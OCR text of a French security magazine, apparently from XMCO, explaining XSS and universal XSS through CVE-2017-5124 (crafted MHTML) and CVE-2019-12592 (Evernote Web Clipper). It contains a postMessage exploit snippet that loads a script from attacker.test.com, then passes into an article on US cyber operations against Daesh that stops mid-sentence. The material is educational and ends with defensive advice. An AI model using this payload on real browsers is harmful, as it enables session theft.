les protections présentées précédemment, dans le contexte de l'application vulnérable.

Les XSS sont courantes car il est tres fréquent pour un site web de réfléchir des valeurs controlables
par un utilisateur au sein de ses pages. Par exemple, la plupart des sites affichent le nom de I'utilisateur
avec lequel vous étes connecté.

C'est dans ce type de cas que les failles de type XSS apparaissent. En effet, certains sites ne vérifient
pas correctement les valeurs fournies par les utilisateurs avant de les injecter au sein de leurs pages.
Ainsi, un utilisateur qui fournit du code JavaScript dans une entrée n'étant pas correctement filtrée peut
en profiter pour injecter des instructions JavaScript au sein des pages dans lesquelles cette entrée est
insérée.

000 emails.test.com

<= = @ | emails.test.com

000

L'une des entrées
utilisateur n'est pas
correctement filtrée  [~N\__|

-_)" Jane Doe ‘ ‘ @ ‘ Usemame | - Remember me m

L'attaquant injecte du
code Javascript au sein
de cette entrée

Lorsqu'un autre utilisateur
consulte une page
réfléchissant cette entrée, le
code Javascript est exécuté ‘ "

Nom : <script> [... CODE MALVEILLANT ...] </script>
@ Mail : mail@exemple.com €

A 4

Le code Javascript s'exécute

dans le contexte de la page

vulnérable et n'est donc pas
limité par la SOP

Schéma du fonctionnement d'une faille de type XSS

Dans le cadre d'une XSS, le code JavaScript injecté s'exécutera depuis l'origine du site vulnérable. En ef-
fet, ce code se trouvera au sein de la page vulnérable du site victime et donc le navigateur l'isolera avec
le reste du site. Ainsi, ce code ne sera pas bloqué par la SOP et aura acces au DOM du site tout comme
il pourra requéter I'ensemble des ressources hébergées sur le site.

L'origine du code malveillant étant la méme que celle du site cible, toutes les protections sont ineffi-
caces.

Les protections mises en place par les navigateurs et l'utilisation de jetons anti-CSRF ne sont donc pas
suffisantes pour assurer la sécurité d'un site web. Il est aussi nécessaire d'assurer que ce dernier ne
présente aucune vulnérabilité applicative et traite correctement les entrées contrdlables par les utilisa-
teurs.
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UXSS

Les XSS nécessitent donc une vulnérabilité au sein de I'application web. La vulnérabilité qui va étre preé-
sentée dans cette partie n'a pas les mémes prérequis.

En effet, les XSS universelles (UXSS) ne sont pas propres a un site mais permettent d'injecter du code
JavaScript au sein de nimporte quel site. La réalisation d'une telle action est possible car ce type de vul-
nérabilité est issu du navigateur.

Ce type de vulnérabilité est tres proche des XSS classiques. L'objectif est d'injecter du code JavaScript.

{ attacker.test.com:& x

& > X | @ attacker.test.com:8000/UXSS/exploit.php
UXSS : Exemple sur Google Chrome Une page intégrée a ['adresse google.com 8
indique:
XSS sur les sites de Google!
La page hebergée sur le site de > location.origin : https://google.com
Iattaquant exécute du code Javascript e
sur l'origine “https://google.com” “

Exemple d'une UXSS sur le navigateur Google Chrome

Ainsi, un attaquant qui trouve une telle vulnérabilité pourra héberger du code JavaScript malveillant
permettant de réaliser tout type d'actions sur les sites de son choix : sites bancaires, webmails, réseaux
sociaux ...

L'attaquant n‘aura plus qu'a convaincre ses victimes de se rendre sur son site. Et lorsqu’elles navi-
gueront sur le site, si jamais elles sont authentifiées sur les sites ciblés par I'attaquant, alors le code
JavaScript malveillant pourra réaliser des actions en leur nom sur ces sites.

« Les XSS universelles (UXSS) ne sont pas propres a un site
mais permettent d’injecter du code JavaScript au sein
de n’importe quel site. »
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http://attacker.test.com
http://google.com

Exemples

Nous allons désormais présenter deux exemples d'UXSS découvertes dans les dernieres années. La
présentation de ces failles va permettre de souligner que les vulnérabilités de ce type peuvent étre

issues d’erreurs de logique au sein du navigateur mais aussi des extensions ajoutées au navigateur.

UXSS via une vulnérabilité au sein d’'un navigateur (Chrome : CVE-2017-5124)

La vulnérabilité CVE-2017-5124 touche le navigateur Google Chrome et rend possible la réalisation de
UXSS en exploitant un défaut de logique lors du traitement des documents MHTML.

Les documents MHTML (MIME Encapsulation of Aggregate HTML) permettent d’'encapsuler une page web
et 'ensemble de ses ressources au sein d'un fichier unique.

Un tel document est donc divisé en plusieurs parties :
« Une premiere partie du document est dédiée au contenu de la page principale ;
« Les autres parties contiennent les différentes ressources référencées par la page principale.

Pour faire le lien entre ces différentes parties, chaque partie contenant une ressource utilise un attri-
butContent-Location qui peut ensuite étre utilisé pour y faire référence depuis la page principale.

Voici un exemple de document MHTML :

MIME-Version: 1.0
Content-Type: multipart/related; boundary="-——MultipartBoundary——"; type="text/html"

——-MultipartBoundary—

Content-Type: text/html; charset#"US-ASCII"

Page principale du
document MHTML

———MultipartBoundary—

Content-Type: image/gif
Content-Location: /fictionl

— MultipartBoundary— Documents référencés par la page
principale du document MHTML

Content-Type: image/gif
Content-Location: https://example.com/fiction2

———MultipartBoundary—

Exemple de document MHTML
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Un tel format de document permet donc de contréler I'origine d'un document ainsi que son contenu.
Toutes les conditions sont donc réunies pour contourner la SOP et obtenir une UXSS. Heureusement,
par défaut I'exécution de code JavaScript est bloquée par le navigateur pour ce type de documents.

Mais un contournement de cette protection était possible dans les versions antérieures a 62.0.3202.62
de Google Chrome. En effet, lorsque la page principale du document MTHML est au format XSLT, alors
il devient possible d’exécuter du code JavaScript au sein de cette derniére mais aussi au sein des diffé-
rentes ressources auxquelles elle fait référence.

Ainsi, il est possible de créer un document MHTML au format suivant afin d'exécuter du code JavaScript
sur des origines arbitraires :

MultipartBoundary—-—
Content-Type: application/xml;

version= encoding= " T
_stylesheet types Cette iframe fait référence au code

catalog [ Javascript défini dans la deuxiéme
<!IATTLIST xsl:stylesheet partie du document MHTML
id ID #REQUIRED>

1>
id= xmlns:xsl=
match=

style=

MultipartBoundary--

Content-Type: text/html
Content-Location: http://emails.test.com:5000/

Le code Javascript de ce document aura
charset= .. .
e pour origine “http://emails.test.com:5000/
.

MultipartBoundary———-—

Exemple de document MHTML permettant d'exploiter la faille CVE-2017-5124

En jouant sur l'attribut Content-Location et sur la source de l'iframe, il devient donc possible de contrer
avec quelle origine s'exécute le code JavaScript défini dans la deuxieme partie du document. C'est une
UXSS.

Un attaquant peut dong, par exemple, exploiter cette vulnérabilité afin de contourner la SOP et dérober
le cookie d'authentification du site de mails sur lequel la victime est connectée dans un second onglet
(voir capture page suivante).

De la méme maniere que l'attaquant peut exploiter cette vulnérabilité pour accéder aux cookies de

sites web, il est possible d'exploiter cette vulnérabilité pour récupérer tous les mails de l'utilisateur, en-
voyer des mails en son nom et supprimer des mails (méme si des jetons CSRF sont utilisés).

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




Le code JavaScript s'exécutant dans le contexte du site de mails, ce dernier apparait comme légitime et
n'a donc aucune restriction.

« Un attaquant peut donc, par exemple, exploiter
cette vulnérabilité afin de contourner la SOP
et de dérober le cookie d’authentification du site de mails sur
lequel la victime est connectée dans un second onglet. »

Cette vulnérabilité est donc critique car un utilisateur peut se faire compromettre simplement en navi-
guant sur un site malveillant depuis un navigateur n'étant pas a jour.

@] [=)E]E]

o attacker.test.com:& x | [3]emails.test.com:50 x| —_[L'utilisateur est authentifié sur le

&« X |® attacker.test.com:8000/UXSS/exploit.php | site de mail dans un autre OngIEt <
FET s x
/ Une page intégrée a I'adresse emails.test.com:
5000 indique :

Cette page sert un
document MHTML Récupération des cookies stockés dans le navigateur de la
malveillant victime pour le site : http://femails.test.com:5000

-> auth=7c40bc4fc784b93d11d425a337708eb2 \\

La page malveillante exécute
du code Javascript dans le
contexte du site de mails

UXSS : Vol des cookies d'une autre
origine depuis le site d'un attaquant

Exploitation de la faille CVE-2017-5124 afin de voler les cookies d'une autre origine depuis le site d'un l'attaquant

UXSS via une vulnérabilité au sein d'une extension (Evernote Web Clipper : CVE-
2019-12592)

La vulnérabilité CVE-2019-12592 est la preuve du danger que peuvent représenter les extensions instal-
|ées sur un navigateur. En effet, pour cette vulnérabilité, c'est I'extensionEvernote Web Clipper qui rend
possible la réalisation de UXSS.

Les extensions sont utilisées pour augmenter les capacités d'un navigateur. Installer une
\[e)i=i ] extension sur son navigateur augmente donc sa surface d'attaque. Des vulnérabilités de
type UXSS peuvent donc étre introduites par le biais d’extensions.

L'extension Evernote Web Clipper peut étre installée sur tous les navigateurs, dont Google Chrome, et
permet aux utilisateurs de sauvegarder des articles, pages web et captures d’écrans directement dans
leur application Evernote. Cette extension est un intermédiaire entre le navigateur et I'application Ever-
note.
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Voici un apercu de I'extension lancée au sein d'un navigateur :

r

| X XMCO - Expertsen Cyber x | + v X

« - C & xmco.fr < v ®% W O =& ( Mettrezjour :

info@xmeco.fr R, +33(0)1 793529 30

x m ‘ 0 Nos solutions Audits CERT-XMCO PCI D

e dedieren cybersecurity expertise

XMCO, des experts en cybersécu b4

Page

== Article
r Article simplifié
|dentifiez et SUIVez VOlre expOSItOf .

Premier carnet de notes

L e Cabinet XIM(

Des experts de confiance au ser Envegistrer la capture
securite de votre entre

Interface de l'extension Evernote Web Clipper

Comme la plupart des extensions, Evernote Web Clipper injecte du code JavaScript dans toutes les pages
consultées par l'utilisateur. Cela permet, par exemple, d'ajouter une interface supplémentaire sur la
page ou de modifier la mise en forme de cette derniere.

En injectant du code dans toutes les pages visitées, les extensions disposent des privileges
\[el=i ) nécessaires a la réalisation d'attaques similaires aux UXSS. Il est donc important d'installer
uniquement des extensions de confiance.

La vulnérabilité provient ici du fait qu'un site malveillant peut contréler le code JavaScript injecté par
I'extension. En effet, la méthode utilisée par I'extension pour charger des scripts au sein des pages
consultées par l'utilisateur n'est pas correctement sécurisée. Il est donc possible, a I'aide d'une instruc-
tion postMessage, de fournir des scripts arbitraires a I'extension pour qu'elle les injecte ensuite.

Un attaquant peut donc créer une page spécifiquement concue contenant des instructions JavaScript
permettant de modifier le code injecté par I'extension. Une fois chargé, I'extension va charger le code
malveillant sur la page actuelle mais aussi sur toutes les iframes présentes sur la page.

L'attaquant peut donc ajouter des iframes des sites qu'il cible au sein de sa page malveillante afin que
le code JavaScript soit injecté, par I'extension, au sein de ces dernieres.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




UXSS via l'extension "Evernote Web Clipper"

Iframe d'une page Youtube :
src="ht 3/ youtube.com/embed"

Le code Javascript fourni a I'extension

Iframe d'une page Google : est automatiquement injecté au sein

src="ht 2/ /W .com/search?igu=1" des iframes suivantes

Tentative d'injection du code suivant sur ces pages :
—-> console.log('Injection de code Javascript sur le site : '+location.origin)

var intervalld = setInterval(function() {
if ( !!document.getElementById("evernoteClipperTools") ) {
setTimeout(function(){
window.postMessage ({
"type": "EN_request",
"messageID": "clipper-serializer-1",
"name": "EN_installAndSerializeAll",
"data": {
"target": ".targets",
"resourcePath": "https://attacker.test.com/UXSS2/exploit.js?q="
+
1)
}, 5000);
}
}, 1000);

Instruction permettant de fournir un fichier
Javascript arbitraire a I’extension

Exemple de page HTML permettant d'exploiter la faille CVE-2019-12592

L'attaquant contrdle donc le code JavaScript que I'extension injecte mais aussi les pages sur lesquelles
ce code est injecté. C'est une UXSS.

O0O0 attacker.test.com emails.test.com \

o
ttacker.test.
<a = @ attacker.test.com 8*

<htmi> /

<script> o . ;
window.postMessage({ Mcladlfncatlpn du_ cocfle |r_"|Jecte par
“ype": "EN_request", I'extension af_ln t_:ly ajoutgr_le
contenu du fichier exploit.js

"messagelD": "clipper-serializer-1", 1

"name": "EN_installAndSerializeAll",

"data": {

"target": ".targets",

"resourcePath": "hitps://attacker.test.com/exploit.js?q="

} Le code malveillant est injecté

0 par I'extension sur toutes les
<Iscript> 2 iframes de la page
</html> i

<iframe src="google.com"/> <iframe src="mails.test.com"/> <iframe src="youtube.com"/~>

—\___ __/_

N v .

Vol de données et usurpation de l'identité de
I'utilisateur sur les sites inclus au sein des iframes

Schéma du fonctionnement de la faille CVE-2019-12592

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




Les XSS universelles

<« > C ANomsecurisé||ht-t-ps:f’f’attacker.tesl.comeXSSL’evernote.html B < v ® » 0O 2

UXSS via I'extension "Evernote Web Clipper”

UXSS - Everno

Iframe d'une page Youtube :

La page malveillante vise a injecter du
code Javascript au sein des iframes lors
du lancement de I'extension Evernote

/

Iframe d'une page Google :

Gmail Images B [F) Premier camnet d
4 - »
Tentative d'injection du code suivant sur ces pages : Enregistrer la capture

-> console.log('Injection de code Javascript sur le site : "+location.origin) |

D . .
4 »
x ol Elements  Console  Sources  Network  Performance  Memory — Applicatio Security Lighthouse  Recorder & Performance insights & ||| & : X

M @ [twpv | @ | Filter Le code Javascript est bien Defaultlevels v || 3lssues: @2 @1 | |
Injection de code Javascript sur le site : https://attacker.test.com exécuté au Sein des iframes exploit.js?g=FrameSerializer.js:1
Injection de code Javascript sur le site : https://www.youtube.com “——"'4’,4” exploit.js?g=FrameSerializer.js:1

Injection de code Javascript sur le site : https://www.google.com exploit.js?g=FrameSerializer.js:1

>

Exploitation de la faille CVE-2017-5124 afin d'exécuter du code JavaScript sur les sites www.youtube.com et www.google.com

Conclusion

Pour conclure, des protections robustes existent et sont appliquées par les navigateurs et les sites web
afin d’assurer la sécurité des utilisateurs d'Internet.

La Same Origin Policy, les entétes Cross-Origin Resource Sharing et les jetons anti Cross-Site Request For-
gery protegent les utilisateurs en empéchant les sites malveillants d'utiliser les informations stockées
par le navigateur a leurs avantages.

Cependant, aucun systeme n'est infaillible et des vulnérabilités comme les UXSS permettent de contour-
ner toutes les protections existantes. Un attaquant peut exploiter de telles failles afin de voler les ses-
sions d'un utilisateur ou encore pour réaliser des actions en son nom sur les sites qu'il a visités avec son
navigateur.

Il est donc important de prendre les précautions suivantes afin de se protéger :
« Tenir a jour son navigateur web ;

+ Cliquer uniquement sur des liens de confiance ;

* Penser a se déconnecter d'un site une fois la navigation terminée ;

+ Installer uniqguement des extensions de confiance.
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La cyberguerre contre
le terrorisme

Par Nicolas BOUSSANGE et Eric COLONIA
Pour mieux comprendre

Internet est devenu la colonne vertébrale du
terrorisme du XXle siecle. De fait, la décentra-
lisation des réseaux terroristes voire leur "ubé-
risation" rend insuffisantes les opérations mi-
litaires. Le cas de Daesh illustre parfaitement
cette maitrise de la communication en ligne et
la capacité a recruter de nouvelles recrues via
les réseaux sociaux, Telegram ou bien sur le
darknet.

Face a cela, les gouvernements ont adopté di-
verses postures. Les Etats-Unis ont choisi une
approche offensive avec I'opération militaire
"Glowing Symphony" ciblant les infrastructures
informatiques de Daesh et déstabilisant de
facto son organisation interne, sa communica-
tion et sa réputation. Néanmoins, les résultats
sont mitigés et interrogent sur la soutenabilité
de ce type de réponse.

Introduction

Depuis 20 ans, le terrorisme a considérablement
changé. Si sur le fond, lidéologie majoritaire
demeure la méme (le djihadisme international
contre I'Occident) sur la forme, de nombreuses
transformations ont eu lieu.

Parmiles organisations djihadistes, une asutirer
son épingle du jeu : Daesh aussi appelée I'Etat
Islamique (El). Fondée en 2006 sur les cendres
engendrées par l'intervention américaine en Irak
de 2003 et sur les fortes tensions géopolitiques
dans le pays, l'organisation a pu aller jusqu'a
construire un proto-Etat situé & cheval entre la
Syrie et I'lrak.

Face a cette nouvelle menace, les Etats occiden-
taux ont créé une coalition internationale mili-
taire. De la méme fagon, une réponse collective
aurait pu émerger sur le plan cyber afin de lutter
contre les communications en ligne de l'organi-
sation. De fait, au-dela de son emprise territo-
riale, Daesh a su utiliser le réseau Internet afin
d’'organiser une propagande internationale tout
comme sa communication interne.

Or I'absence de consensus autour de la définition
de terrorisme avec des Etats comme la Chine ou
la Russie a empéché les gouvernements de se
mettre d’'accord sur les actions a mener dans le
domaine cyber. De ce fait, aucune solution mul-
tilatérale n'a pu étre mise en place.

Les Etats ont donc tenté de répondre individuel-
lement et avec leurs moyens a cette nouvelle
menace. Les Etats-Unis ont été les premiers a
avoir amorcé un début de réponse en matiere
de cyberguerre contre le terrorisme, il s'agit de
l'opération Glowing Symphony conduite en 2016.
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D'autres pays comme la France, I'Australie, le
Royaume-Uni ont également tenté d'apporter des
réponses face a cette menace.

L'ensemble de ces exemples nous amenent a
nous poser la question suivante : La cyberguerre
contre le terrorisme, quelle réalité et quelle effi-
cacité ?

Dans cet article, nous allons nous intéresser au
réle d'Internet dans la métamorphose du terro-
risme du XXle siecle. Puis, une fois le processus
décrit, nous présenterons la réponse de la puis-
sance ameéricaine face a cette menace avec I'Opé-
ration Glowing Symphony. Enfin, nous question-
nerons le succes de cette opération et de celles
ayant suivies.

Vous trouverez ci-dessous une frise chronolo-
gique répertoriant les principaux évenements liés
au terrorisme depuis 2001.

« Internet et 'avénement des
réseaux sociaux ont
profondément bouleversé les
fondamentaux du terrorisme.
La désintermédiation engen-
drée a rendu possible le fait
de s’adresser directement aux
citoyens, que ce soit
pour les recruter ou bien les
terroriser »

Internet, colonne vertébrale
des organisations terroristes

De Al-Qaida a Daesh : la désintermédia-
tion de la communication

La menace terroriste a changé de forme depuis 30
ans :auparavant, une organisation comme Al-Qai-
da rayonnait grace a la réalisation d'attaques
spectaculaires, revendiquées par un chef cha-
rismatigue comme Oussama Ben Laden. Apres
chaque attentat, ce dernier réalisait des vidéos
enregistrées avec un caméscope afin de reven-
diquer l'attaque. La cassette était ensuite confiée
a un messager de confiance nommé Abu Ahmed
al-Kuwaiti. Al-Kuwaiti faisait ensuite parvenir les
enregistrements aux grandes chaines de télévi-
sion qui relayaient alors la vidéo sur leurs canaux
de diffusion.

Cette propagande « artisanale » était complétée
par une stratégie de recrutement basée sur la
proximité des liens sociaux. La radicalisation des
candidats au Jihad se faisait grace a un ou plu-
sieurs individus basés sur le territoire ciblé. On
peut notamment citer le cas de Omar Omsen a
Nice [1]. Ce prédicateur a enr6lé une vingtaine de
jeunes Francais [2] pour en faire des combattants
du djihad au Moyen-Orient.

Internet et I'avenement des réseaux sociaux ont
profondément bouleversé les fondamentaux du
terrorisme. La désintermédiation engendrée a
rendu possible le fait de s'adresser directement
aux citoyens, que ce soit pour les recruter ou bien
les terroriser. Ainsi, plus besoin de transférer les
contenus aux grands médias, eux qui avaient un
controle total sur la durée, 'horaire ou le mode de
diffusion.

2014
ATTENTAT DU 11/09/2001

Le 11 septembre 2001, un commando de 19
terroristes détourne quatre avions de ligne
pour frapper le sol américain.

X 2

MORT DE BEN LADEN

La mort du leader charismatique, abattu par
les forces spéciales US au Pakistan, porte un
coup important a al-Qaida. Daesh de son coté
étend son emprise suite a I'échec des
printemps arabes.

PROCLAMATION DE LETAT ISLAMIQUE +
CREATION D'UNE COALITION INTERNATIONALE

Le leader de I'organisation, Abou Bakr al-Baghdadi, proclame la
création d'un califat situé entre la Syrie et I'lrak.

2017
PERTE DE RAQOA, LA CAPITALE DE LEI

Les bombardements de la coalition
internationale et les FDS (forces
démocratiques syriennes) au sol
reprennent la ville.

LANCEMENT DE L'OPERATION
GLOWING SYMPHONY

Aprés plusieurs mois de reconnaissance,
I'armée US lance une vague de
cyberattaques.

2016
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La cyberguerre contre le terrorisme

Un théoricien chevronné d’Al-Qaida comme Abou
Moussab al-Souri l'avait d'ailleurs théorisé dans
les années 2000. Pour lui, les réseaux sociaux
rendraient possible un terrorisme sur Internet.
Ce dernier se traduirait par la diffusion de la
propagande et l'utilisation d'outils en ligne pour
communiquer entre les membres. Tout ceci per-
mettrait de mener, soutenir ou plus simplement
de revendiquer de multiples opérations a échelle
réduite, moins co(teuses et plus efficaces dans
leur ensemble qu'une opération de grande am-
pleur caractérisée par une logistique lourde

et difficile a garder secrete.

Ainsi, un proto-Etat comme I'Etat Islamique (El)
a su prendre le tournant pour devenir la me-
nace numéro 1 pour I'Occident : que ce soit sur
les théatres de militaires au Moyen-Orient et au
Sahel comme sur Internet. Sur le terrain, Daesh
disposait d’'un territoire précis et avait instauré
une réelle administration avec la collecte d'im-
pots et linstauration de services publics. Sur la
toile, Daesh a su déployer une stratégie efficace
et adaptée a son auditoire.

Des compétences techniques et com-
municationnelles au service du djihad

Cette ascension numeérique de Daesh, observée
a partir de 2013, s'explique en partie par larri-
vée d'une nouvelle génération de combattants
et de communicants, bien plus habitués aux ré-
seaux sociaux que la génération précédente. Ces
« jeunes djihadistes » connaissent les éléments de
langage a adopter pour maximiser les likes et les
commentaires a leurs posts sur Facebook, ils or-
ganisent des live-Tweet des exécutions d'otages,
postent des selfies avec le cadavre de soldats
du régime syrien sur Instagram. Certains déve-
loppeurs de Daesh ont méme créé une applica-
tion sur Twitter, appelée Dawn of the Glad Tidings
[3].

Cette application permettant de générer auto-
matiquement des retweets via des bots. Dés lors,
Daesh maximisait sa visibilité, auprés du public a
terroriser et des potentiels candidats a attirer.
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Au-dela de l'aspect technique, la propagande dji-
hadiste est fortement basée sur les symboles.
De nombreux comptes Facebook de recruteurs
faisaient, par exemple, figurer un lion sur leur
compte et publiaient des extraits du Coran. Le lion
était un symbole régulierement utilisé par Daesh
pour désigner les combattants et femmes ayant
rejoint 'organisation [4]. De la méme facon, les vi-
déos de propagande sont tres bien structurées.

On y voit des images de combats « glorieux »
censés encenser les soldats de I'El et donner en-
vie aux spectateurs de rejoindre les rangs de I'El.
La musique y est entrainante et de nombreuses
images subliminales sont incrustées. L'objectif est
de montrer la « vérité » du monde occidental, ce-
lui d'un complot contre les musulmans.

a facebook.com (¢,
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Deux exemples de compte Facebook de recruteur comportant
le symbole du lion

Cette propagande djihadiste s'appuyait égale-
ment sur plusieurs magazines publiés en ligne.
Parmi eux, on peut notamment citer Dabiq [5]. Cet
organe de propagande paraissait chaque mois
en arabe, en anglais, en allemand et en francais
entre 2014 et 2016. Le magazine reflétait un réel
savoir-faire en termes de contenu et de contenant
avec des couvertures de magazines « profession-
nelles ».

THE LAW OF ALLAH

OR THE LAWS OF MEN

LA fhre

O Pt FLO0D

Apercu de quelgues couvertures du mensuel djihadiste Dabiq

En matiére de communication entre les membres,
la aussi I'El a adopté des outils avancés en matiere
de chiffrement et d'anonymisation [6]. La messa-
gerie chiffrée de bout en bout Telegram [7] était
réputée pour étre la préférée des djihadistes. La
plateforme sert a la fois a envoyer des documents
de propagande, des vidéos de tutoriels sur la
fabrication de bombes ou encore a préparer des
attaques.

D’autres plateformes ont également été utilisées,
mais dans une moindre mesure. On peut citer Si-
gnal, le Facebook russe VKontakte (VK) ou encore
Wickr.

Une « ubérisation » du terrorisme de-
puis 2013

Cette maitrise du numérique a été tres efficace
pour le recrutement de jeunes combattants oc-
cidentaux. Les recruteurs ciblaient en priorité les
individus en situation de marginalisation et sen-
sibles aux questions existentielles. La stratégie,
appelée « love bombing » consistait a expliquer
a la personne que son sentiment de malaise était
légitime, que les gouvernements occidentaux
persécutaient les musulmans et qu’'elle aurait sa
place au sein du Califat.

Si cela était possible, le recruteur organisait le dé-
part du volontaire vers la Syrie afin de recevoir
une instruction militaire et aller combattre les en-
nemis du Califat. Dans le cas contraire, les com-
municants incitaient toute personne volontaire a
commettre un attentat sur le sol occidental, que
ce soit a I'aide d'une arme a feu ou bien avec un
simple couteau. Cest le phénoméne du home
grown terrorist redouté par les services de ren-
seignement occidentaux, puisque tres difficiles a
détecter.

Ce terrorisme « low-cost » est pratique pour l'orga-
nisation terroriste qui n'a pas besoin de s'occuper
de la partie logistique de I'attaque. Cette derniere
doit seulement y apposer sa signature en reven-
diquant l'attentat. Parfois, les individus n'avaient
méme pas eu de liens physiques ou numériques
avec des membres de l'organisation.

Ainsi, certains spécialistes ont méme parlé d'une
« uberisation » [8] du terrorisme sous Daesh avec
des terroristes qui seraient des autoentrepre-
neurs au service d'une cause, la « défense de l'is-
lamt ». Leur but serait d'étre reconnus comme des
martyrs de guerre.

« Face a cette déferlante djihadiste sur Internet,
une réponse occidentale était nécessaire :
Les GAFAM ont longtemps été considérés comme les plus a
méme de traiter la problématique »
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La cyberguerre contre le terrorisme

La réponse des GAFAM et des Etats
occidentaux face a la menace

Face a cette déferlante djihadiste sur Internet,
une réponse occidentale était nécessaire : Les
GAFAM ont longtemps été considérés comme les
plus a méme de traiter la problématique. En effet,
ce sont sur leurs plateformes que les messages et
contenus multimédias djihadistes prospéraient.
Dés lors, un important travail de modération [9]
des contenus a caractere terroriste a été réalisé.
On peut citer les 14 millions de contenus terro-
ristes supprimés par Facebook en 2018 [10].

Toutefois, ce jeu du chat et de la souris n'est pas
suffisant. Les combattants de Daesh ont éga-
lement leurs propres plateformes et disposent
d’'une forte résilience face a la censure des GA-
FAM.

D’un cbté, la suppression d'un compte sur les ré-
seaux sociaux nécessitait plusieurs signalements
et la validation par le modérateur de la plate-
forme. De l'autre, la création d'un compte, elle, est
chose aisée et rapide d'ou un déséquilibre. C'est
pourquoi une intervention étatique semblait né-
cessaire en Irak et en Syrie.

1leracceés au réseau
de Daesh

Une opération de phishing
avait permis de
compromettre un compte

Sur le plan militaire, une coalition internationale a
été formée en 2014 [11] par 14 pays dont :

+ Les Etats-Unis ;

* L'Arabie Saoudite ;
* LaFrance;

« L'Australie;

* Le Royaume-Uni.

Sur le volet cyber, les opérations se sont davan-
tage faites a I'échelle nationale voire de fagon bi-
latérale. Parmi elles, la premiére du genre et la
plus importante a été conduite par 'armée améri-
caine contre les infrastructures de Daesh en 2016
: 'opération Glowing Symphony.

« Dintégration d’une
dimension cyber au sein
d’une opération était
une premiere dans 'histoire
des Etats-Unis. »

Restructuration des
objectifs de I'opération

[ ]
Fin2014 % Février2016'% Mi-2016 % Novembre 2016

Opération Inherent ° Découverte d'une 4 Lancement de
Resolve | faille critique ! l'opération G.S.
1 1
I . . I - .
Une dimension cyber était : La cartographie a’ perm'ls au : LAAthe Dlrectqry de Dae;h apu
intégrée au sein de 1 Commander de découvrir une 1 étre compromis en 10 minutes
I'opération américaine faille critique au sein du réseau
de Daesh o
(0340

Principaux événements de Glowing Symphony
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Le cas de l'opération Glowing
Symphony

En 2014, Daesh était a son apogée. Son influence
était grande et de nombreuses villes tombaient
sous son emprise. Connue mondialement et tres
meédiatisée, elle effrayait par ses attentats.

En réponse a cette menace de plus en plus vio-
lente, les Etats-Unis ont décidé de mettre en place
une cyber opération offensive contre le réseau
informatique de Daesh. La conversion et l'arrivée
de nouveau djihadistes se faisant principalement
a travers une forte propagande sur Internet.

Ainsi a été mise en place l'opération Glowing Sym-
phony.

Une opération secréte et peu médiati-
sée

Peu d'informations sont disponibles a propos de
cette opération. En 2017, des fragments masqués
du Task Order 16-0063 sont divulgués, révélant la
création d'une unité afin de contrer Daesh dans le
cyberespace [12].

3.m.12.

(U) JFHQ-C (ARMY) / ARCYBER.

3.B.12.A. ($//REL-TO-USA, [/~ " | Establish JTF-ARES to
axecute CDRUSCYBERCOM-directed CO.

3.B.12.B. (U//FOUQ) Provide a 3-star General Officer to serve as
the Commander of JTF-ARES.

3.A.1.B. (SAREL-TO-USA, [’ @™ " |MmrHOD. USCYBERCOM will
employ cyber forces from throughout the Cyber Mission Force
and integrate chronize, and deconflict with the
e to deliver effects against ISIL.
JTF-ARES will C2 cyber forces aligned to the C-ISIL Mission.

Fragments du Task Order 16-0063

Suite a la révélation de ces fragments de texte, le
National Security Archive’s Cyber Vault, une orga-
nisation ameéricaine recensant les activités cyber
des Etats-Unis, ont décidé d'utiliser le « Freedom
of Information Act » afin d’obtenir plus d'informa-
tions liées a cet ordre.

De ce fait, 'opération Glowing Symphony est ré-
vélée en 2018 au grand public et les Etats-Unis
avaient accepté de dévoiler certains dossiers clas-
sifiés.

En tout, seuls 6 documents officiels ont été pu-
bliés, contenant entre autres des échanges entre
les soldats de l'opération, les commanditaires et
le gouvernement américain [13].

Néanmoins, peu d'informations et de détails pré-
cis sont présents au sein des dossiers et en parti-

culier sur les actions effectuées contre Daesh.

Que ce soit dans les outils utilisés pour mener
les attaques ou dans les informations récupérées
tout au long de l'opération, les dossiers ne sont
pas tres verbeux et des tableaux de résultats ainsi
gu'une partie des échanges ont été masqués.

~ax) Operation GLOWING SYMPHONY is the most complex offensive cyberspace

operation USCTBERCOM has conducted to date.

I - ©rocess establishment and refinements will help
USCYBERCOM posture for future policy discussions, such as the policy implications of cyber operations
with effects against IS1L EEEG— S

- -+ The scale and complexity of OGS has also allowed us to learn a number of
Iessons *hat will benefit the communrity as we move forward. The main report discusses our lessons

learned with respect to

Extrait des documents officiels de Glowing Symphony

Les Etats-Unis ont justifié cette décision par le fait
que révéler trop d'informations pourrait étre pré-
judiciable dans le cadre de futures attaques en
donnant aux ennemis des informations sur les
meéthodes qui étaient utilisées.

Toutefois, un an plus tard en 2019, un ancien mi-
litaire nommé Neils, avait accepté sur plusieurs
meédias et podcasts de s'exprimer et répondre
aux questions de journalistes sur 'opération. Sur-
nommeé le Commander, il avait été celui a I'origine
de toute l'opération et qui I'a dirigée pendant
toute sa durée.

Les origines de l'opération Glowing
Symphony

Glowing Symphony n’est pas née du jour au len-
demain. Sa création puise son origine dans une
autre opération nommée Inherent Resolve.

L'opération Inherent Resolve a été créée en
octobre 2014 suite a la mise en place du Califat
a Mosul en juin 2014. Les Etats-Unis avaient déci-
dé de répondre a cette nouvelle menace de ma-
niere offensive au Moyen-Orient, tout en y inté-
grant une partie informatique. Les équipes cyber
avaient pour objectif d’aider les troupes militaires
au sol au travers d'informations exfiltrées du ré-
seau informatique de Daesh.

L'intégration d'une dimension cyber au sein d'une
opération militaire était une premiere dans I'his-
toire des Etats-Unis.

La récupération d'informations effectuée par ces
équipes était intrusive, mais non destructive. Elles
cherchaient a pénétrer le réseau informatique de
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Daesh afin d'y exfiltrer le plus d'informations pos-
sibles sur leurs prochaines attaques.

En utilisant les renseignements obtenus sur le ré-
seau de Daesh, une opération de phishing avait
été menée en ciblant principalement des person-
nalités importantes du réseau de Daesh. L'objectif
était de voler leurs comptes mails.

Les équipes avaient privilégié cet angle d'attaque,
car les comptes mails sont critiques. En effet, en
plus de renfermer des informations sensibles au
sein des mails, ils sont centraux lors de la récu-
pération ou modification de mot de passe sur
d'autres applications.

Cette campagne de phishing (voir capture ci-des-
sous) avait été un succes et avait permis aux
équipes d'obtenir un compte mail valide [14] puis
danalyser et comprendre le réseau informatique
de Daesh [15].

En effet, le compte mail compromis était lié a un
compte Amazon Web Services (AWS) et Cloudflare
qui ont également pu étre compromis en utilisant
